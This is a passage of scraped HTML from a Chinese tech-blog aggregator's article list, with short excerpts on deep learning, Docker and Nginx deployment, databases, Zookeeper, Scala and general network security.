title="零碎的知识点(十二):卷积神经网络CNN通道数的理解!" target="_blank">零碎的知识点(十二):卷积神经网络CNN通道数的理解!</a> <span class="text-muted">墨绿色的摆渡人</span> <a class="tag" taget="_blank" href="/search/%E9%9B%B6%E7%A2%8E%E7%9F%A5%E8%AF%86%E7%82%B9/1.htm">零碎知识点</a><a class="tag" taget="_blank" href="/search/cnn/1.htm">cnn</a><a class="tag" taget="_blank" href="/search/%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0/1.htm">深度学习</a><a class="tag" taget="_blank" href="/search/%E7%A5%9E%E7%BB%8F%E7%BD%91%E7%BB%9C/1.htm">神经网络</a> <div>卷积神经网络CNN通道数的理解!通道数的核心概念解析1.通道数的本质2.单张灰度图的处理示例:3.批量输入的处理通道与批次的关系:4.RGB三通道输入的处理计算过程:示例:5.通道数的实际意义6.可视化理解(1)单通道输入(灰度图)的过滤器(2)三通道输入(RGB)的过滤器总结通道数的核心概念解析1.通道数的本质在卷积神经网络中,通道数(Channels)表示不同过滤器的数量。每个通道对应一个独立</div> </li> <li><a href="/article/1885106722830348288.htm" title="Vue对话式前端界面" target="_blank">Vue对话式前端界面</a> <span class="text-muted">WUJI02</span> <a class="tag" taget="_blank" href="/search/%E8%A3%81%E5%88%A4%E6%96%87%E4%B9%A6%E5%A4%A7%E6%A8%A1%E5%9E%8B/1.htm">裁判文书大模型</a><a class="tag" taget="_blank" href="/search/vue.js/1.htm">vue.js</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a> <div>一.对话样式的实现用一个messages数组来存放对话信息,信息有两种类型user和botthis.messages.push({type:'user',content:this.userMessage});this.messages.push({type:'bot',content:response.data.reply});模版部分使用:class="['message-content',me</div> </li> <li><a href="/article/1885105459111718912.htm" title="神经网络|(七)概率论基础知识-贝叶斯公式" target="_blank">神经网络|(七)概率论基础知识-贝叶斯公式</a> <span class="text-muted">西猫雷婶</span> <a class="tag" taget="_blank" href="/search/%E6%A6%82%E7%8E%87%E8%AE%BA/1.htm">概率论</a><a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a><a class="tag" taget="_blank" href="/search/%E6%A6%82%E7%8E%87%E8%AE%BA/1.htm">概率论</a> <div>【1】引言前序我们已经了解了一些基础知识。古典概型:有限个元素参与抽样,每个元素被抽样的概率相等。条件概率:在某条件已经达成的前提下,新事件发生的概率。实际计算的时候,应注意区分,如果是计算综合概率,比如A已经发生时,B发生的概率,其实计算的目标是P(AB)。条件概率公式的通用表达式为P(B|A)=P(AB)/P(A),乘法表达式为P(AB)=P(B|A)P(A)全概率公式:全概率公式综合了所有条</div> </li> <li><a href="/article/1885100416622981120.htm" title="springboot + xterm.js + vue + websocket实现终端功能(y-shell)文件管理器实现" target="_blank">springboot + xterm.js + vue + websocket实现终端功能(y-shell)文件管理器实现</a> <span class="text-muted">张音乐</span> <a class="tag" taget="_blank" href="/search/JS/1.htm">JS</a><a class="tag" taget="_blank" href="/search/Vue/1.htm">Vue</a><a class="tag" taget="_blank" href="/search/React/1.htm">React</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF%E8%B8%A9%E5%9D%91%E5%AE%9E%E6%88%98%E6%95%99%E7%A8%8B/1.htm">前端踩坑实战教程</a><a class="tag" taget="_blank" href="/search/%E6%A0%91%E5%BD%A2%E8%8F%9C%E5%8D%95/1.htm">树形菜单</a><a class="tag" taget="_blank" href="/search/%E5%8F%B3%E9%94%AE%E8%8F%9C%E5%8D%95/1.htm">右键菜单</a><a class="tag" taget="_blank" href="/search/VUE/1.htm">VUE</a> <div>一、文件管理器功能描述这一章节讲一下文件管理器的实现与设计细节。首先,文件管理器需要提供以下几个主要的功能,开发过程中使用vue渲染前端页面以及交互过程中还是遇到了不少问题,比如说右键菜单,表单校验。1、文件夹的新增,编辑,删除。2、ssh配置的新增,编辑,删除。3、右键菜单如图:文件夹管理ssh连接管理快速运行dockerrun-itd--namey-shell-</div> </li> <li><a href="/article/1885097389405040640.htm" title="LLM模型部署经验分享" target="_blank">LLM模型部署经验分享</a> <span class="text-muted">lewis_kai</span> <a class="tag" taget="_blank" href="/search/%E9%98%BF%E9%87%8C%E4%BA%91/1.htm">阿里云</a><a class="tag" taget="_blank" href="/search/%E8%AF%AD%E8%A8%80%E6%A8%A1%E5%9E%8B/1.htm">语言模型</a> <div>LLM模型部署经验分享作者:大连理工大学李凯首先,你需要选择一个合适的部署平台,这可以是本地服务器、云服务提供商(如AWS、Azure、GoogleCloud等)、边缘设备或者特定的部署服务(如HuggingFaceHub)。在这里我使用的是魔搭平台的云服务器。然后下载你要部署的模型,这里下载的是通义千问。下载并部署玩模型后,我们还可以对模型转换和优化,该文会介绍基于OpenVINO的模型量化实践</div> </li> <li><a href="/article/1885096381224382464.htm" title="< OS 有关 > 阿里云:轻量应用服务器 的使用 :轻量化 阿里云 vpm 主机" target="_blank">< OS 有关 > 阿里云:轻量应用服务器 的使用 :轻量化 阿里云 vpm 主机</a> <span class="text-muted">davenian</span> <a class="tag" taget="_blank" href="/search/OS%E6%9C%89%E5%85%B3/1.htm">OS有关</a><a class="tag" taget="_blank" href="/search/%E9%98%BF%E9%87%8C%E4%BA%91/1.htm">阿里云</a><a class="tag" taget="_blank" href="/search/Ubuntu/1.htm">Ubuntu</a><a class="tag" taget="_blank" href="/search/%E6%80%A7%E8%83%BD%E4%BC%98%E5%8C%96/1.htm">性能优化</a> <div>原因:<OS有关>阿里云:轻量应用服务器的使用:从新开始配置SSH主机名DNSTailscale更新OS安装包最主要是清除阿里云客户端这个性能杀手-CSDN博客防止I/O祸害系统操作:查看进程,删除不必要软件包。aptremovemodemmanageraptremoveudisks2aptremovetunedaptremovepcpaptremovepackagekitaptremovepol</div> </li> <li><a href="/article/1885094112726675456.htm" title="斯坦福吴恩达-深度学习和机器学习全套视频+课件!" target="_blank">斯坦福吴恩达-深度学习和机器学习全套视频+课件!</a> <span class="text-muted">Alexquyun</span> <a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a><a class="tag" taget="_blank" href="/search/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0/1.htm">机器学习</a><a class="tag" taget="_blank" href="/search/%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0/1.htm">深度学习</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a> <div>这些课程专为已有一定基础(基本的编程知识,熟悉Python、对机器学习有基本了解),想要尝试进入人工智能领域的计算机专业人士准备。介绍显示:“深度学习是科技业最热门的技能之一,本课程将帮你掌握深度学习。”学生将可以学习到深度学习的基础,学会构建神经网络,并用在包括吴恩达本人在内的多位业界顶尖专家指导下创建自己的机器学习项目。DeepLearningSpecialization对卷积神经网络(CNN</div> </li> <li><a href="/article/1885091970615930880.htm" title="在K8s中部署动态nfs存储provisioner" target="_blank">在K8s中部署动态nfs存储provisioner</a> <span class="text-muted">超级阿飞</span> <a class="tag" taget="_blank" href="/search/k8s/1.htm">k8s</a><a class="tag" taget="_blank" href="/search/cluster/1.htm">cluster</a><a class="tag" taget="_blank" href="/search/kubernetes/1.htm">kubernetes</a><a class="tag" taget="_blank" href="/search/%E5%AE%B9%E5%99%A8/1.htm">容器</a><a class="tag" taget="_blank" href="/search/%E4%BA%91%E5%8E%9F%E7%94%9F/1.htm">云原生</a><a class="tag" taget="_blank" href="/search/nfs/1.htm">nfs</a> <div>背景之前,我已经在一台workernode上安装了locallvm的provisioner来模拟需要本地高IOPS的数据库等stafeful应用的实现。为了后续给虚拟机里的K8s集群安装可用的metrics和logs监控系统(metrics和logs的时序数据库需要永久存储),特为K8s集群提供基于nfs的文件服务器一台,并安装nfsprovisioner,以便实现动态分配nfsvolume给po</div> </li> <li><a href="/article/1885089325725577216.htm" title="Python从0到100(四十九):数据库设计及Django ORM使用" target="_blank">Python从0到100(四十九):数据库设计及Django ORM使用</a> <span class="text-muted">是Dream呀</span> <a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/django/1.htm">django</a> <div>前言:零基础学Python:Python从0到100最新最全教程。想做这件事情很久了,这次我更新了自己所写过的所有博客,汇集成了Python从0到100,共一百节课,帮助大家一个月时间里从零基础到学习Python基础语法、Python爬虫、Web开发、计算机视觉、机器学习、神经网络以及人工智能相关知识,成为学习学习和学业的先行者!欢迎大家订阅专栏:零基础学Python:Python从0到100最新</div> </li> <li><a href="/article/1885088820702015488.htm" title="Oracle备份恢复工作:Oracle数据库的导出与导入。" target="_blank">Oracle备份恢复工作:Oracle数据库的导出与导入。</a> <span class="text-muted">杨云龙666</span> <a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a> <div>当我们使用一个数据库时,总希望数据库的内容是可靠的、正确的,但由于计算机系统的故障(硬件故障、软件故障、网络故障、进程故障和系统故障)影响数据库系统的操作,影响数据库中数据的正确性,甚至破坏数据库,使数据库中全部或部分数据丢失。因此当发生上述故障后,希望能重构这个完整的数据库该处理称为数据库恢复,而要进行数据库的恢复必须要有数据库的备份工作。1整库导出与导入注意:(整库导出与导入:数据量比较大,耗</div> </li> <li><a href="/article/1885087435545702400.htm" title="Docker 部署 Nginx 并在容器内配置申请免费 SSL 证书" target="_blank">Docker 部署 Nginx 并在容器内配置申请免费 SSL 证书</a> <span class="text-muted">逢生博客</span> <a class="tag" taget="_blank" href="/search/docker/1.htm">docker</a><a class="tag" taget="_blank" href="/search/nginx/1.htm">nginx</a><a class="tag" taget="_blank" href="/search/ssl/1.htm">ssl</a> <div>文章目录dockerdocker-compose.yml申请免费SSL证书配置Nginx验证域名所有权安装acme.sh生成SSL证书查看已安装证书dockerhttps://hub.docker.com/_/nginxdockerpullnginx:1.27注:国内网络原因无法下载镜像,nginx镜像文件下载链接https://pan.baidu.com/s/1O35cPbx6AHWUJL1v5</div> </li> <li><a href="/article/1885086551587745792.htm" title="【Docker】搭建 Docker 私有化仓库" target="_blank">【Docker】搭建 Docker 私有化仓库</a> <span class="text-muted">cangloe</span> <a class="tag" taget="_blank" href="/search/docker/1.htm">docker</a><a class="tag" taget="_blank" href="/search/docker/1.htm">docker</a><a class="tag" taget="_blank" href="/search/%E5%AE%B9%E5%99%A8/1.htm">容器</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a> <div>搭建Docker私有化仓库是一个非常重要的实践,它能够帮助你安全地存储和管理Docker镜像,而无需将其发布到公共DockerHub。通过使用私有化仓库,你可以:提高安全性:镜像存储在受控的环境中。提升效率:在公司网络内传输镜像,速度更快。实现自动化:配合CI/CD系统实现自动镜像管理。本文将详细介绍如何在不同环境下搭建Docker私有化仓库,并提供配置和优化建议。一、Docker私有化仓库的基本</div> </li> <li><a href="/article/1885081257105223680.htm" title="探索2025年最流行的移动端前端框架" target="_blank">探索2025年最流行的移动端前端框架</a> <span class="text-muted">程序猿000001号</span> <a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF%E6%A1%86%E6%9E%B6/1.htm">前端框架</a> <div>探索2025年最流行的移动端前端框架正文:在当今快速发展的移动互联网时代,选择合适的前端框架对于开发高效、响应迅速的移动应用至关重要。以下是一些目前非常流行且备受开发者青睐的移动端前端UI框架。VantVant是一个轻量、可靠的移动端Vue组件库,适用于各种业务场景。它提供了丰富的组件和良好的文档支持,是许多电商应用的首选。ElementPlusElementPlus是基于Vue3的桌面端组件库,</div> </li> <li><a href="/article/1885080249029423104.htm" title="在Docker上部署自动更新ssl证书的nginx + .NET Core" target="_blank">在Docker上部署自动更新ssl证书的nginx + .NET Core</a> <span class="text-muted">libby0926</span> <div>突发奇想要搞一个ssl的服务器,然后我就打起了docker的主意,想着能不能搞一个基于Docker的服务器,这样维护起来也方便一点。设想#想法是满足这么几点:.NETCoreonDockerLet’sEncyptonDockernginxonDocker用于反向代理Let’sEncypt证书有效期很短,需要能够自动更新nginx与dotnet都提供了docker部署的方案,但是Let’sEncyp</div> </li> <li><a href="/article/1885079113518084096.htm" title="【云原生】Docker 部署 Nacos使用详解" target="_blank">【云原生】Docker 部署 Nacos使用详解</a> <span class="text-muted">逆风飞翔的小叔</span> <a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a><a class="tag" taget="_blank" href="/search/docker%E6%90%AD%E5%BB%BAnacos%E8%AF%A6%E8%A7%A3/1.htm">docker搭建nacos详解</a><a class="tag" taget="_blank" href="/search/docker%E9%83%A8%E7%BD%B2nacos/1.htm">docker部署nacos</a><a class="tag" taget="_blank" href="/search/docker%E5%AE%89%E8%A3%85nacos/1.htm">docker安装nacos</a><a class="tag" taget="_blank" href="/search/%E8%85%BE%E8%AE%AF%E4%BA%91%E6%90%AD%E5%BB%BAnacos/1.htm">腾讯云搭建nacos</a><a class="tag" taget="_blank" href="/search/centos7%E6%90%AD%E5%BB%BAnacos/1.htm">centos7搭建nacos</a> <div>目录一、前言二、使用Docker部署Nacos2.1环境准备2.2搭建Nacos操作过程2.2.1拉取Nacos镜像2.2.2创建配置数据库2.2.3启动容器2.2.4删除nacos容器2.2.5再次启动容器2.2.6访问nacos三、基于Centos7搭建Nacos3.1搭建过程3.1.1服务器环境3.1.2mysql环境3.1.3提前下载安装包3.1.4初始化sql脚本3.1.5修改配置文件3</div> </li> <li><a href="/article/1885077850051112960.htm" title="浅析数据中心机架配电母线的应用及监控产品选型" target="_blank">浅析数据中心机架配电母线的应用及监控产品选型</a> <span class="text-muted">安科瑞王兰</span> <a class="tag" taget="_blank" href="/search/%E7%94%B5%E6%B0%94%E5%AE%89%E5%85%A8/1.htm">电气安全</a><a class="tag" taget="_blank" href="/search/%E7%94%B5%E8%83%BD%E7%AE%A1%E7%90%86/1.htm">电能管理</a><a class="tag" taget="_blank" href="/search/%E8%83%BD%E8%80%97%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F/1.htm">能耗管理系统</a><a class="tag" taget="_blank" href="/search/%E7%B3%BB%E7%BB%9F%E6%9E%B6%E6%9E%84/1.htm">系统架构</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/%E8%87%AA%E5%8A%A8%E5%8C%96/1.htm">自动化</a><a class="tag" taget="_blank" href="/search/%E8%83%BD%E6%BA%90/1.htm">能源</a> <div>王兰安科瑞电气股份有限公司上海嘉定201801摘要:本文先分析配电母线槽创新点和优势,然后结合湛江数据中心302机房母线槽建设对配电母线槽和列头柜两种供电方式进行经济效益对比,最后总结推广应用建议,以期为相关工程技术人员提供参考。关键词:13641854052;机架配电母线;列头柜;数据中心1引言随着通信网络的快速发展,各地数据中心的建设变得越来越重要,供电优先与客户需求滞后的矛盾越来越突出。在数</div> </li> <li><a href="/article/1885071923772190720.htm" title="网络安全攻防实战:从基础防护到高级对抗" target="_blank">网络安全攻防实战:从基础防护到高级对抗</a> <span class="text-muted">一ge科研小菜鸡</span> <a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a> <div>个人主页:一ge科研小菜鸡-CSDN博客期待您的关注引言在信息化时代,网络安全已经成为企业、政府和个人必须重视的问题。从数据泄露到勒索软件攻击,每一次安全漏洞都可能造成巨大的经济损失和隐私风险。本教程将通过详细的案例、代码示例和实用工具,帮助读者从基础安全防护到高级安全对抗,系统掌握网络安全攻防的核心技术。1.常见网络攻击方式与防御措施1.1SQL注入攻击攻击者在输入字段中插入恶意SQL代码,绕过</div> </li> <li><a href="/article/1885068642366844928.htm" title="Netty的心跳机制怎么实现的?" target="_blank">Netty的心跳机制怎么实现的?</a> <span class="text-muted">java1234_小锋</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a> <div>大家好,我是锋哥。今天分享关于【Netty的心跳机制怎么实现的?】面试题。希望对大家有帮助;Netty的心跳机制怎么实现的?Netty的心跳机制主要是通过在客户端和服务器之间定期发送特殊的数据包(比如空消息或自定义的控制消息)来保持连接的活跃状态,并检测网络连接的健康性。Netty并没有内建“心跳机制”,但是它通过IdleStateHandler和ChannelPipeline可以很方便地实现这种</div> </li> <li><a href="/article/1885067633968082944.htm" title="构建响应式管理后台系统(Python + Django + Bootstrap)" target="_blank">构建响应式管理后台系统(Python + Django + Bootstrap)</a> <span class="text-muted">后端架构魔术骑士</span> <a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/django/1.htm">django</a><a class="tag" taget="_blank" href="/search/bootstrap/1.htm">bootstrap</a><a class="tag" taget="_blank" href="/search/Python/1.htm">Python</a> <div>在本文中,我们将使用Python编程语言结合Django和Bootstrap框架来构建一个响应式管理后台系统。我们将使用Django作为后端框架,处理数据和业务逻辑,并使用Bootstrap作为前端框架,实现用户界面的设计和布局。环境设置和项目创建首先,确保你已经安装了Python和Django。在命令行中运行以下命令来创建一个新的Django项目:$django-adminstartprojec</div> </li> <li><a href="/article/1885063475005288448.htm" title="谈谈信息安全治理模型" target="_blank">谈谈信息安全治理模型</a> <span class="text-muted">SOA开发者</span> <a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a> <div>当我们学习ISO/SAE21434标准的时候,会看到网络安全治理(Cybersecuritygovernment)和网络安全管理(Cybersecuritymanagement)两个概念。然而该标准中并没有给出安全治理和安全管理的十分清晰的定义和描述。即使在安全社区内,似乎也是讲安全管理的多,讲安全治理的少。那到底两个概念是什么?两者的区别和联系又是什么呢?笔者通过调研发现安全治理、安全管理和安全</div> </li> <li><a href="/article/1885057673704042496.htm" title=".NET MAUI与ASP.NET的无缝数据传输" target="_blank">.NET MAUI与ASP.NET的无缝数据传输</a> <span class="text-muted">t0_54coder</span> <a class="tag" taget="_blank" href="/search/%E7%BC%96%E7%A8%8B%E9%97%AE%E9%A2%98%E8%A7%A3%E5%86%B3%E6%89%8B%E5%86%8C/1.htm">编程问题解决手册</a><a class="tag" taget="_blank" href="/search/.net/1.htm">.net</a><a class="tag" taget="_blank" href="/search/asp.net/1.htm">asp.net</a><a class="tag" taget="_blank" href="/search/%E5%90%8E%E7%AB%AF/1.htm">后端</a><a class="tag" taget="_blank" href="/search/%E4%B8%AA%E4%BA%BA%E5%BC%80%E5%8F%91/1.htm">个人开发</a> <div>在移动应用开发中,数据的传输与处理是一个关键的环节,尤其是当涉及到跨平台的应用程序时。今天,我们将探讨如何在.NETMAUI应用中通过HTTPPost请求将数据发送到ASP.NET服务器,并确保数据的准确性和完整性。背景假设你正在开发一个电子商务应用,其中包括一个产品查看功能。用户在移动端查看产品详情后,你需要将这个查看记录发送到服务器端,以便进行统计和分析。客户端:.NETMAUI首先,我们在.</div> </li> <li><a href="/article/1885055394586357760.htm" title="企业级SOA的信息安全保证" target="_blank">企业级SOA的信息安全保证</a> <span class="text-muted">Juishl</span> <a class="tag" taget="_blank" href="/search/soa/1.htm">soa</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a><a class="tag" taget="_blank" href="/search/xml/1.htm">xml</a><a class="tag" taget="_blank" href="/search/%E5%8A%A0%E5%AF%86/1.htm">加密</a><a class="tag" taget="_blank" href="/search/security/1.htm">security</a><a class="tag" taget="_blank" href="/search/%E9%80%9A%E8%AE%AF/1.htm">通讯</a> <div>毋庸讳言,“安全”是当前信息技术应用领域热门话题之一,无论是操作系统,还是应用软件,安全总是作为一项重要考量,特别是在商业应用领域,信息安全是业务运作的基本要求之一。企业级SOA在提供价值链上企业之间信息共享和业务流程自动化的同时,也对信息安全提出新的挑战。基于企业级SOA更加容易实现跨越企业边界的业务系统自动化和信息共享,开放的数据访问和网络服务调用给商业运作带来便利,同时也更加容易受到攻击,如</div> </li> <li><a href="/article/1885052745287790592.htm" title="Linux进阶之HTTP服务篇" target="_blank">Linux进阶之HTTP服务篇</a> <span class="text-muted">Warnex</span> <a class="tag" taget="_blank" href="/search/Linux%E8%BF%9B%E9%98%B6-RHCE/1.htm">Linux进阶-RHCE</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/http/1.htm">http</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a> <div>HTTP服务HTTP简介HTTP的基础配置HTTP服务的默认配置文件`/etc/httpd/conf/httpd.conf`HTTP服务用户自定义配置文件HTTP服务配置之用户认证HTTPS服务的配置基于python的动态HTTP服务HTTP简介HTTP协议是HyperTextTransferProtocol(超文本传输协议)的缩写,是用于从万维网(WWW:WorldWideWeb)服务器传输超文</div> </li> <li><a href="/article/15.htm" title="Spring4.1新特性——Spring MVC增强" target="_blank">Spring4.1新特性——Spring MVC增强</a> <span class="text-muted">jinnianshilongnian</span> <a class="tag" taget="_blank" href="/search/spring+4.1/1.htm">spring 4.1</a> <div>目录 Spring4.1新特性——综述 Spring4.1新特性——Spring核心部分及其他 Spring4.1新特性——Spring缓存框架增强 Spring4.1新特性——异步调用和事件机制的异常处理 Spring4.1新特性——数据库集成测试脚本初始化 Spring4.1新特性——Spring MVC增强 Spring4.1新特性——页面自动化测试框架Spring MVC T</div> </li> <li><a href="/article/142.htm" title="mysql 性能查询优化" target="_blank">mysql 性能查询优化</a> <span class="text-muted">annan211</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a><a class="tag" taget="_blank" href="/search/%E4%BC%98%E5%8C%96/1.htm">优化</a><a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a><a class="tag" taget="_blank" href="/search/%E5%BA%94%E7%94%A8%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">应用服务器</a> <div> 1 时间到底花在哪了? mysql在执行查询的时候需要执行一系列的子任务,这些子任务包含了整个查询周期最重要的阶段,这其中包含了大量为了 检索数据列到存储引擎的调用以及调用后的数据处理,包括排序、分组等。在完成这些任务的时候,查询需要在不同的地方 花费时间,包括网络、cpu计算、生成统计信息和执行计划、锁等待等。尤其是向底层存储引擎检索数据的调用操作。这些调用需要在内存操</div> </li> <li><a href="/article/269.htm" title="windows系统配置" target="_blank">windows系统配置</a> <span class="text-muted">cherishLC</span> <a class="tag" taget="_blank" href="/search/windows/1.htm">windows</a> <div>删除Hiberfil.sys :使用命令powercfg -h off 关闭休眠功能即可: http://jingyan.baidu.com/article/f3ad7d0fc0992e09c2345b51.html 类似的还有pagefile.sys msconfig 配置启动项 shutdown 定时关机 ipconfig 查看网络配置 ipconfig /flushdns</div> </li> <li><a href="/article/396.htm" title="人体的排毒时间" target="_blank">人体的排毒时间</a> <span class="text-muted">Array_06</span> <a class="tag" taget="_blank" href="/search/%E5%B7%A5%E4%BD%9C/1.htm">工作</a> <div>======================== ||  人体的排毒时间是什么时候?|| ======================== 转载于: http://zhidao.baidu.com/link?url=ibaGlicVslAQhVdWWVevU4TMjhiKaNBWCpZ1NS6igCQ78EkNJZFsEjCjl3T5EdXU9SaPg04bh8MbY1bR</div> </li> <li><a href="/article/523.htm" title="ZooKeeper" target="_blank">ZooKeeper</a> <span class="text-muted">cugfy</span> <a class="tag" taget="_blank" href="/search/zookeeper/1.htm">zookeeper</a> <div>Zookeeper是一个高性能,分布式的,开源分布式应用协调服务。它提供了简单原始的功能,分布式应用可以基于它实现更高级的服务,比如同步, 配置管理,集群管理,名空间。它被设计为易于编程,使用文件系统目录树作为数据模型。服务端跑在java上,提供java和C的客户端API。 Zookeeper是Google的Chubby一个开源的实现,是高有效和可靠的协同工作系统,Zookeeper能够用来lea</div> </li> <li><a href="/article/650.htm" title="网络爬虫的乱码处理" target="_blank">网络爬虫的乱码处理</a> <span class="text-muted">随意而生</span> <a class="tag" taget="_blank" href="/search/%E7%88%AC%E8%99%AB/1.htm">爬虫</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a> <div>下边简单总结下关于网络爬虫的乱码处理。注意,这里不仅是中文乱码,还包括一些如日文、韩文 、俄文、藏文之类的乱码处理,因为他们的解决方式 是一致的,故在此统一说明。     网络爬虫,有两种选择,一是选择nutch、hetriex,二是自写爬虫,两者在处理乱码时,原理是一致的,但前者处理乱码时,要看懂源码后进行修改才可以,所以要废劲一些;而后者更自由方便,可以在编码处理</div> </li> <li><a href="/article/777.htm" title="Xcode常用快捷键" target="_blank">Xcode常用快捷键</a> <span class="text-muted">张亚雄</span> <a class="tag" taget="_blank" href="/search/xcode/1.htm">xcode</a> <div>一、总结的常用命令:     隐藏xcode command+h     退出xcode command+q     关闭窗口 command+w     关闭所有窗口 command+option+w     关闭当前</div> </li> <li><a href="/article/904.htm" title="mongoDB索引操作" target="_blank">mongoDB索引操作</a> <span class="text-muted">adminjun</span> <a class="tag" taget="_blank" href="/search/mongodb/1.htm">mongodb</a><a class="tag" taget="_blank" href="/search/%E7%B4%A2%E5%BC%95/1.htm">索引</a> <div>一、索引基础:    MongoDB的索引几乎与传统的关系型数据库一模一样,这其中也包括一些基本的优化技巧。下面是创建索引的命令:    > db.test.ensureIndex({"username":1})    可以通过下面的名称查看索引是否已经成功建立: &nbs</div> </li> <li><a href="/article/1031.htm" title="成都软件园实习那些话" target="_blank">成都软件园实习那些话</a> <span class="text-muted">aijuans</span> <a class="tag" taget="_blank" href="/search/%E6%88%90%E9%83%BD+%E8%BD%AF%E4%BB%B6%E5%9B%AD+%E5%AE%9E%E4%B9%A0/1.htm">成都 软件园 实习</a> <div>无聊之中,翻了一下日志,发现上一篇经历是很久以前的事了,悔过~~   断断续续离开了学校快一年了,习惯了那里一天天的幼稚、成长的环境,到这里有点与世隔绝的感觉。不过还好,那是刚到这里时的想法,现在感觉在这挺好,不管怎么样,最要感谢的还是老师能给这么好的一次催化成长的机会,在这里确实看到了好多好多能想到或想不到的东西。   都说在外面和学校相比最明显的差距就是与人相处比较困难,因为在外面每个人都</div> </li> <li><a href="/article/1158.htm" title="Linux下FTP服务器安装及配置" target="_blank">Linux下FTP服务器安装及配置</a> <span class="text-muted">ayaoxinchao</span> <a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/FTP%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">FTP服务器</a><a class="tag" taget="_blank" href="/search/vsftp/1.htm">vsftp</a> <div>检测是否安装了FTP [root@localhost ~]# rpm -q vsftpd 如果未安装:package vsftpd is not installed  安装了则显示:vsftpd-2.0.5-28.el5累死的版本信息   安装FTP 运行yum install vsftpd命令,如[root@localhost ~]# yum install vsf</div> </li> <li><a href="/article/1285.htm" title="使用mongo-java-driver获取文档id和查找文档" target="_blank">使用mongo-java-driver获取文档id和查找文档</a> <span class="text-muted">BigBird2012</span> <a class="tag" taget="_blank" href="/search/driver/1.htm">driver</a> <div>注:本文所有代码都使用的mongo-java-driver实现。   在MongoDB中,一个集合(collection)在概念上就类似我们SQL数据库中的表(Table),这个集合包含了一系列文档(document)。一个DBObject对象表示我们想添加到集合(collection)中的一个文档(document),MongoDB会自动为我们创建的每个文档添加一个id,这个id在</div> </li> <li><a href="/article/1412.htm" title="JSONObject以及json串" target="_blank">JSONObject以及json串</a> <span class="text-muted">bijian1013</span> <a class="tag" taget="_blank" href="/search/json/1.htm">json</a><a class="tag" taget="_blank" href="/search/JSONObject/1.htm">JSONObject</a> <div>一.JAR包简介     要使程序可以运行必须引入JSON-lib包,JSON-lib包同时依赖于以下的JAR包:     1.commons-lang-2.0.jar     2.commons-beanutils-1.7.0.jar     3.commons-collections-3.1.jar &n</div> </li> <li><a href="/article/1539.htm" title="[Zookeeper学习笔记之三]Zookeeper实例创建和会话建立的异步特性" target="_blank">[Zookeeper学习笔记之三]Zookeeper实例创建和会话建立的异步特性</a> <span class="text-muted">bit1129</span> <a class="tag" taget="_blank" href="/search/zookeeper/1.htm">zookeeper</a> <div>为了说明问题,看个简单的代码,   import org.apache.zookeeper.*; import java.io.IOException; import java.util.concurrent.CountDownLatch; import java.util.concurrent.ThreadLocal</div> </li> <li><a href="/article/1666.htm" title="【Scala十二】Scala核心六:Trait" target="_blank">【Scala十二】Scala核心六:Trait</a> <span class="text-muted">bit1129</span> <a class="tag" taget="_blank" href="/search/scala/1.htm">scala</a> <div>Traits are a fundamental unit of code reuse in Scala. A trait encapsulates method and field definitions, which can then be reused by mixing them into classes. Unlike class inheritance, in which each c</div> </li> <li><a href="/article/1793.htm" title="weblogic version 10.3破解" target="_blank">weblogic version 10.3破解</a> <span class="text-muted">ronin47</span> <a class="tag" taget="_blank" href="/search/weblogic/1.htm">weblogic</a> <div>版本:WebLogic Server 10.3 说明:%DOMAIN_HOME%:指WebLogic Server 域(Domain)目录 例如我的做测试的域的根目录 DOMAIN_HOME=D:/Weblogic/Middleware/user_projects/domains/base_domain 1.为了保证操作安全,备份%DOMAIN_HOME%/security/Defa</div> </li> <li><a href="/article/1920.htm" title="求第n个斐波那契数" 